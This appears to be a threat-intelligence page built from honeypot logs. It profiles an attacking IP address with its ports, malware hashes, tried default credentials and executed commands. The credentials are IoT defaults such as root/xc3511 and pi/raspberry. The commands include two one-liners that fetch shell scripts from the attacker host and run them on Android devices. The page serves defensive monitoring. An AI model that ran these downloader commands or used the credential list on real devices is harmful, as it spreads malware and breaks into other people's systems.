⚠TROYANOSYVIRUS
Active Threat • HIGH

130.12.180.85

Country of Origin🇺🇸 United States
First Detection2/8/2026
Last Activity2/15/2026
ISPRailnet LLC
🎯
715
Total Attacks
🔌
3
Ports
📡
3
Attack Types
🦠
3
Malware

Geolocation

Country
🇺🇸 United States
City
Unknown
ASN
AS214943
ISP
Railnet LLC

Attack Types

cowrie
adbhoney
honeytrap

Attacked Ports

2322225555

Associated Malware

2d21ee5994ccbac39371...→8a6ec7b5e46a3a9e5ee8...→e3b0c44298fc1c149afb...→

Attempted Credentials

🔐admin/admin
11x
🔐root/(empty)
11x
🔐root/root
11x
🔐user/user
8x
🔐telecomadmin/admintelecom
6x
🔐hikvision/hikvision
6x
🔐root/xc3511
6x
🔐admin/password
5x
🔐pi/raspberry
5x
🔐admin/admin1234
5x
🔐root/86981198
5x
🔐ubnt/ubnt
5x
🔐root/j1/_6s*w
5x
🔐admin/12345
5x
🔐default/default
5x

Executed Commands

$./10x
$echo SHELL_TEST7x
$cat /proc6x
$/bin/busybox TEST6x
$cd /data/local/tmp/; wget http://130.12.180.85/agent.sh || curl http://130.12.180.85/agent.sh -o agent.sh; chmod 777 agent.sh; sh agent.sh android1x
$cd /data/local/tmp/; wget http://130.12.180.85/cat.sh || curl http://130.12.180.85/cat.sh -o cat.sh; chmod 777 cat.sh; sh cat.sh android1x

Risk Assessment

72
/100
LowMediumHighCritical